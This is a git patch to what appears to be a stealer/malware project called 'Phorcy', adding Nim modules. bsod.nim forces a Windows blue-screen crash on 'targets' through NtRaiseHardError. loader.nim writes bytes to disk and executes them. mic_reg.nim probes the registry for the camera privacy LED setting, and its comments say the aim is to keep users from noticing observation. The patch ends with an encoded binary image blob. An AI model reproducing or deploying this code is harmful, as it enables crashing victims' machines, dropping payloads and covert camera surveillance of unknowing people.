From ac2276472c1c893e91f30903041652f964ccb054 Mon Sep 17 00:00:00 2001 From: eline Date: Sun, 26 Nov 2023 03:18:48 +0100 Subject: [PATCH] [S] worked on NIM frameworks. --- README.md | 17 +- elinethingz/README.md | 24 ++ elinethingz/bsod.nim | 31 +++ elinethingz/encfile.py | 105 -------- elinethingz/loader.nim | 18 +- elinethingz/mic_reg.nim | 47 ++++ elinethingz/security/dza.png | Bin 0 -> 147688 bytes elinethingz/security/encfile.nim | 395 +++++++++++++++++++++++++++++++ 8 files changed, 514 insertions(+), 123 deletions(-) create mode 100644 elinethingz/README.md create mode 100644 elinethingz/bsod.nim delete mode 100644 elinethingz/encfile.py create mode 100644 elinethingz/mic_reg.nim create mode 100755 elinethingz/security/dza.png create mode 100644 elinethingz/security/encfile.nim diff --git a/README.md b/README.md index 6f7b6d2..2832d16 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,15 @@ # phorcy -phorcy on top +Phorcy -**Warning** +**Warning** > This Tool is for educational purposes only. -**Note** -> Coding Languages: Go, C++, Nim, JS -> Working Status: Unfinished -> Date finished: N/A -> Title: Phorcy St3@ler +**Note** +> Coding Languages: NIM; Python; Javascript. +> Working Status: Unfinished +> Date finished: N/A +> Title: Phorcy > Description: ... + + + diff --git a/elinethingz/README.md b/elinethingz/README.md new file mode 100644 index 0000000..d5e708e --- /dev/null +++ b/elinethingz/README.md @@ -0,0 +1,24 @@ +[SECRET//DNR] + +Secret//DO NOT RELEASE. + +# Documentation of all files found in this folder. + +# loader.nim + +Takes an input bytearray and writes it to disk as first CLI argument when run. +format: +[seq[byte]](@[0x40,0x80] + + +# mic_reg.nim + +[Broken] +Checks if Windows OSD is enabeld. + +# encfile.nim +Has multiple functions to encrypt text and/or files (streams) with AES-256 derived using HMAC (SHA512_256). Max. password size 1024. +Has a fingerprint/is detectable. + +# bsod.nim +Serves a BSOD to targets on Windows. \ No newline at end of file diff --git a/elinethingz/bsod.nim b/elinethingz/bsod.nim new file mode 100644 index 0000000..b024354 --- /dev/null +++ b/elinethingz/bsod.nim @@ -0,0 +1,31 @@ +# ____ _____ ____ ____ _____ _____ +# / ___|| ____/ ___| _ \| ____|_ _| +# \___ \| _|| | | |_) | _| | | +# ___) | |__| |___| _ <| |___ | | +# |____/|_____\____|_| \_\_____| |_| + +# SECRET + + +# https://answers.microsoft.com/en-us/windows/forum/all/enable-osd-notification-for-webcam/caf1fff4-78d3-4b93-905b-ef657097a44e +# https://www.reddit.com/r/Windows11/comments/z5hj0q/til_even_the_camera_indicatoroverlay_gained_the/ +# https://www.elevenforum.com/t/enable-or-disable-camera-on-off-osd-indicator-in-windows-11.10774/ +# https://duckduckgo.com/?q=HKLM%5C%5CSOFTWARE%5C%5CMicrosoft%5C%5COEM%5C%5CDevice%5C%5CCapture%5C + +import winim + + +proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS + {.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".} + +proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS + {.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".} + +var + prev: BOOLEAN + response: ULONG + +# SE_SHUTDOWN_PRIVILEGE = 19 +RtlAdjustPrivilege(19, TRUE, FALSE, &prev) +NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response); + diff --git a/elinethingz/encfile.py b/elinethingz/encfile.py deleted file mode 100644 index 211ab42..0000000 --- a/elinethingz/encfile.py +++ /dev/null @@ -1,105 +0,0 @@ -from os import urandom as urandom -from os import getcwd as getcwd -from os import _exit as exit -from os import path as ospath -# pip3 install cryptography -from cryptography.hazmat.primitives import hashes -from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC -from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes -from cryptography.hazmat.primitives import serialization -from cryptography.hazmat.primitives import padding as sym_padding -from argparse import ArgumentParser - -# SYNTAX/USE GUIDE: -# python3 encfile.py --{encrypt/decrypt} --input {filename} --output {filename, but optional if encrypting. defaults to current working directory/cwd.} -# example: -# python3 encfile.py --encrypt --input secret.js -# python3 encfile.py -e -i secret.js -def banner(): - print(" ____ _____ ____ ____ _____ _____ _____ _ ___ _____ ___ ____ _ _ ") - print("/ ___|| ____/ ___| _ \| ____|_ _|/ / / \ | |/ _ \| ___/ _ \| _ \| \ | |") - print("\___ \| _|| | | |_) | _| | | / / /| \| | | | | |_ | | | | |_) | \| |") - print(" ___) | |__| |___| _ <| |___ | |/ / / | |\ | |_| | _|| |_| | _ <| |\ |") - print("|____/|_____\____|_| \_\_____| |_/_/_/ |_| \_|\___/|_| \___/|_| \_\_| \_|\n") - - - print("'[S] The Secrets of the Fighter.' ") - print("Do not transmit this program over unsecure channels.") - print("This program allows you to encrypt files to send them to your fellow operatives.") - print("It is classified as: SECRET//NOFORN.\n") - -parser = ArgumentParser() -parser.add_argument("-e", "--encrypt", action="store_true", help="Encrypt a file", dest="encrypt") -parser.add_argument("-d", "--decrypt", action="store_true", help="Decrypt a file", dest="decrypt") -parser.add_argument("-i", "-input", dest="input") -parser.add_argument("-o", "--output", dest="output") -args = parser.parse_args() - -if not any([args.encrypt, args.decrypt]): - print("Specify a mode with -e or -d.") - exit(1) -if not args.input: - print("Specify an input file with -i.") - exit(1) -else: - banner() - - -def derive_key(password:bytes, salt:bytes): - kdf = PBKDF2HMAC( - algorithm=hashes.SHA512(), - iterations=900000, - salt=salt, - length=32, - ) - return kdf.derive(password) - -def encrypt_file(input_file:str, output_file:str, password:bytes): - salt = urandom(32) - iv = urandom(16) - key = derive_key(password, salt) - - cipher = Cipher( - algorithms.AES(key), - modes.CFB(iv), - ) - encryptor = cipher.encryptor() - - with open(input_file, "rb") as f_in, open(output_file, "wb") as f_out: - f_out.write(salt) # Write the salt to the header - f_out.write(iv) # Write the IV to the header - - for block in iter(lambda: f_in.read(256), b""): - encrypted_block = encryptor.update(block) - f_out.write(encrypted_block) - -def decrypt_file(input_file, output_file, password): - with open(input_file, "rb") as f_in, open(output_file, "wb") as f_out: - salt = f_in.read(32) # Read the salt from the header - iv = f_in.read(16) # Read the IV from the header - - key = derive_key(password, salt) - - cipher = Cipher( - algorithms.AES(key), - modes.CFB(iv), - ) - decryptor = cipher.decryptor() - - for block in iter(lambda: f_in.read(256), b""): - decrypted_block = decryptor.update(block) - f_out.write(decrypted_block) - - print("Decryption completed.") - -if args.encrypt: - args.output = getcwd() - args.output = args.output + "/encryptedfile.enc" - password = bytes(input("PASSWORD:\n"), 'UTF-8') - encrypt_file(args.input, args.output, password) - print("Done. File stored as ", args.output) - -if args.decrypt: - password = bytes(input("PASSWORD:\n"), 'UTF-8') - decrypt_file(args.input, args.output, password) - print("Done. File stored as ", args.output) \ No newline at end of file diff --git a/elinethingz/loader.nim b/elinethingz/loader.nim index 98517db..7c815c4 100644 --- a/elinethingz/loader.nim +++ b/elinethingz/loader.nim @@ -1,12 +1,8 @@ -import osproc - -proc writeBytesToFileAndExecute(bytes: seq[byte], outputFile: string) = +import std/os +let + byteList = cast[seq[byte]](@[0x40,0x80]) + output = paramStr(1) +proc writeBytesToFileAndExecute*(bytes: seq[byte], outputFile: string) = writeFile(outputFile, bytes) - - let cmd = "cmd.exe /C " & outputFile - discard execCmd(cmd) - - -let outputFileName = "output.exe" -let byteList = cast[seq[byte]](@[0x40,0x80]) -writeBytesToFileAndExecute(byteList, outputFileName) + discard execShellCmd("./" & output) +writeBytesToFileAndExecute(byteList, output) \ No newline at end of file diff --git a/elinethingz/mic_reg.nim b/elinethingz/mic_reg.nim new file mode 100644 index 0000000..a5d3b7f --- /dev/null +++ b/elinethingz/mic_reg.nim @@ -0,0 +1,47 @@ +# ____ _____ ____ ____ _____ _____ +# / ___|| ____/ ___| _ \| ____|_ _| +# \___ \| _|| | | |_) | _| | | +# ___) | |__| |___| _ <| |___ | | +# |____/|_____\____|_| \_\_____| |_| + +import winim + +# Checks the status of the Windows "Privacy Bubbles" to know if target device has the Windows camera LED enabled. +# however, it should be noted that most PC/laptop manufacturers include a hardwired LED that cannot be disabled. +# therefore, this program does not guarantee that the user will not know about the observation. + +# DOES NOT WORK. +const + KEY_QUERY_VALUE = 0x0001 + HKEY_HANDLE = 0x80000002 + +proc checkRegistryEntry(): bool = + var hKey: HKEY + var value: DWORD + var dataSize: DWORD = sizeof(DWORD) + + if RegOpenKeyEx(HKEY_HANDLE, "SOFTWARE\\Microsoft\\OEM\\Device\\Capture", 0, KEY_QUERY_VALUE, addr hKey) != ERROR_SUCCESS: + echo "Error opening registry key. Error code:", GetLastError() + return false + + if RegGetValueA(HKEY_HANDLE, "NoPhysicalCameraLED", nil, nil, cast(LPBYTE, addr value), addr dataSize) != ERROR_SUCCESS: + echo "Error querying registry value. Error code:", GetLastError() + + # Close the registry key even if querying failed + RegCloseKey(hKey) + + return false + + # Close the registry key if everything is successful + RegCloseKey(hKey) + + echo "NoPhysicalCameraLED value:", value + + return value == 0x1 + +# Example usage +if checkRegistryEntry(): + echo "NoPhysicalCameraLED is set to 0x1." +else: + echo "NoPhysicalCameraLED is not set to 0x1." + diff --git a/elinethingz/security/dza.png b/elinethingz/security/dza.png new file mode 100755 index 0000000000000000000000000000000000000000..b15b5aeab9709314fb6202895983d9eee71c0261 GIT binary patch literal 147688 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 